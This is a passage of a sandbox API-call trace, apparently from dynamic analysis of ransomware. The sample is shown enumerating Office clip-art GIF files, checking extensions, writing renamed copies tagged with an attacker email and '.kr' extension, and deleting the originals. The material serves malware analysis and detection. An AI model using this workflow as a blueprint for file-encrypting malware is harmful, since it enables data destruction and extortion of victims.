(lpString=".zip") returned 4 [0103.365] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.365] lstrlenW (lpString=".rar") returned 4 [0103.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.366] lstrlenW (lpString=".bz2") returned 4 [0103.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.366] lstrlenW (lpString=".7z") returned 3 [0103.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.366] lstrlenW (lpString=".dbf") returned 4 [0103.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.366] lstrlenW (lpString=".1cd") returned 4 [0103.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.366] lstrlenW (lpString=".jpg") returned 4 [0103.366] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.366] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.366] lstrlenW (lpString="AG00037_.GIF") returned 12 [0103.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.370] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=6684) returned 1 [0103.370] CloseHandle (hObject=0x338) returned 1 [0103.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0103.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.370] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.371] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.371] GetLastError () returned 0x0 [0103.371] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0103.373] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x1a20, lpOverlapped=0x0) returned 1 [0103.375] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.375] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0103.375] SetEndOfFile (hFile=0x358) returned 1 [0103.375] CloseHandle (hObject=0x358) returned 1 [0103.377] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.377] SetEndOfFile (hFile=0x338) returned 1 [0103.378] CloseHandle (hObject=0x338) returned 1 [0103.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0103.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.379] lstrlenW (lpString=".doc") returned 4 [0103.379] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.379] lstrlenW (lpString=".docx") returned 5 [0103.379] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.379] lstrlenW (lpString=".pdf") returned 4 [0103.379] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.379] lstrlenW (lpString=".xls") returned 4 [0103.379] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.379] lstrlenW (lpString=".xlsx") returned 5 [0103.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.379] lstrlenW (lpString=".ppt") returned 4 [0103.379] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.379] lstrlenW (lpString=".zip") returned 4 [0103.379] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.379] lstrlenW (lpString=".rar") returned 4 [0103.379] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.379] lstrlenW (lpString=".bz2") returned 4 [0103.379] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.379] lstrlenW (lpString=".7z") returned 3 [0103.380] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.474] lstrlenW (lpString=".dbf") returned 4 [0103.474] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.474] lstrlenW (lpString=".1cd") returned 4 [0103.474] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.474] lstrlenW (lpString=".jpg") returned 4 [0103.474] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.474] lstrlenW (lpString=".doc") returned 4 [0103.475] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.475] lstrlenW (lpString=".docx") returned 5 [0103.475] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.475] lstrlenW (lpString=".pdf") returned 4 [0103.475] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.475] lstrlenW (lpString=".xls") returned 4 [0103.475] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.475] lstrlenW (lpString=".xlsx") returned 5 [0103.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.475] lstrlenW (lpString=".ppt") returned 4 [0103.475] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.475] lstrlenW (lpString=".zip") returned 4 [0103.475] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.475] lstrlenW (lpString=".rar") returned 4 [0103.475] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.475] lstrlenW (lpString=".bz2") returned 4 [0103.476] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.476] lstrlenW (lpString=".7z") returned 3 [0103.476] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.476] lstrlenW (lpString=".dbf") returned 4 [0103.476] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.476] lstrlenW (lpString=".1cd") returned 4 [0103.476] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0103.476] lstrlenW (lpString=".jpg") returned 4 [0103.476] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.476] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.476] lstrlenW (lpString="AG00038_.GIF") returned 12 [0103.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.477] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3251) returned 1 [0103.477] CloseHandle (hObject=0x338) returned 1 [0103.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0103.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.477] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.478] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.478] GetLastError () returned 0x0 [0103.478] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xcb3, lpOverlapped=0x0) returned 1 [0103.993] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0103.994] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.994] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0103.994] SetEndOfFile (hFile=0x358) returned 1 [0104.424] CloseHandle (hObject=0x358) returned 1 [0104.442] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.443] SetEndOfFile (hFile=0x338) returned 1 [0104.444] CloseHandle (hObject=0x338) returned 1 [0104.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0104.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.445] lstrlenW (lpString=".doc") returned 4 [0104.445] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.445] lstrlenW (lpString=".docx") returned 5 [0104.445] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.445] lstrlenW (lpString=".pdf") returned 4 [0104.445] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.445] lstrlenW (lpString=".xls") returned 4 [0104.445] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.445] lstrlenW (lpString=".xlsx") returned 5 [0104.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.445] lstrlenW (lpString=".ppt") returned 4 [0104.445] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.445] lstrlenW (lpString=".zip") returned 4 [0104.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.445] lstrlenW (lpString=".rar") returned 4 [0104.445] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.445] lstrlenW (lpString=".bz2") returned 4 [0104.445] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.445] lstrlenW (lpString=".7z") returned 3 [0104.445] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.445] lstrlenW (lpString=".dbf") returned 4 [0104.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.445] lstrlenW (lpString=".1cd") returned 4 [0104.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.445] lstrlenW (lpString=".jpg") returned 4 [0104.445] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.446] lstrlenW (lpString=".doc") returned 4 [0104.446] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.446] lstrlenW (lpString=".docx") returned 5 [0104.446] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.446] lstrlenW (lpString=".pdf") returned 4 [0104.446] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.446] lstrlenW (lpString=".xls") returned 4 [0104.446] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.446] lstrlenW (lpString=".xlsx") returned 5 [0104.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.446] lstrlenW (lpString=".ppt") returned 4 [0104.446] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.446] lstrlenW (lpString=".zip") returned 4 [0104.446] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.446] lstrlenW (lpString=".rar") returned 4 [0104.446] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.446] lstrlenW (lpString=".bz2") returned 4 [0104.446] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.446] lstrlenW (lpString=".7z") returned 3 [0104.446] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.446] lstrlenW (lpString=".dbf") returned 4 [0104.446] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.446] lstrlenW (lpString=".1cd") returned 4 [0104.446] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0104.446] lstrlenW (lpString=".jpg") returned 4 [0104.446] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.447] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.447] lstrlenW (lpString="AG00135_.GIF") returned 12 [0104.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.447] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2596) returned 1 [0104.447] CloseHandle (hObject=0x338) returned 1 [0104.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0104.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.448] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.448] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0104.448] GetLastError () returned 0x0 [0104.448] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xa24, lpOverlapped=0x0) returned 1 [0104.450] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xa30, lpOverlapped=0x0) returned 1 [0104.450] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.450] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0104.451] SetEndOfFile (hFile=0x358) returned 1 [0104.451] CloseHandle (hObject=0x358) returned 1 [0104.452] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.452] SetEndOfFile (hFile=0x338) returned 1 [0104.453] CloseHandle (hObject=0x338) returned 1 [0104.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0104.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.453] lstrlenW (lpString=".doc") returned 4 [0104.453] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.453] lstrlenW (lpString=".docx") returned 5 [0104.453] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.453] lstrlenW (lpString=".pdf") returned 4 [0104.453] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.453] lstrlenW (lpString=".xls") returned 4 [0104.454] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.454] lstrlenW (lpString=".xlsx") returned 5 [0104.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.454] lstrlenW (lpString=".ppt") returned 4 [0104.454] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.454] lstrlenW (lpString=".zip") returned 4 [0104.454] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.454] lstrlenW (lpString=".rar") returned 4 [0104.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.454] lstrlenW (lpString=".bz2") returned 4 [0104.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.454] lstrlenW (lpString=".7z") returned 3 [0104.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.454] lstrlenW (lpString=".dbf") returned 4 [0104.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.454] lstrlenW (lpString=".1cd") returned 4 [0104.454] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.454] lstrlenW (lpString=".jpg") returned 4 [0104.454] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.454] lstrlenW (lpString=".doc") returned 4 [0104.454] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.454] lstrlenW (lpString=".docx") returned 5 [0104.454] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.454] lstrlenW (lpString=".pdf") returned 4 [0104.454] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.454] lstrlenW (lpString=".xls") returned 4 [0104.455] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.455] lstrlenW (lpString=".xlsx") returned 5 [0104.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.455] lstrlenW (lpString=".ppt") returned 4 [0104.455] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.455] lstrlenW (lpString=".zip") returned 4 [0104.455] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.455] lstrlenW (lpString=".rar") returned 4 [0104.455] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.455] lstrlenW (lpString=".bz2") returned 4 [0104.455] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.455] lstrlenW (lpString=".7z") returned 3 [0104.455] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.455] lstrlenW (lpString=".dbf") returned 4 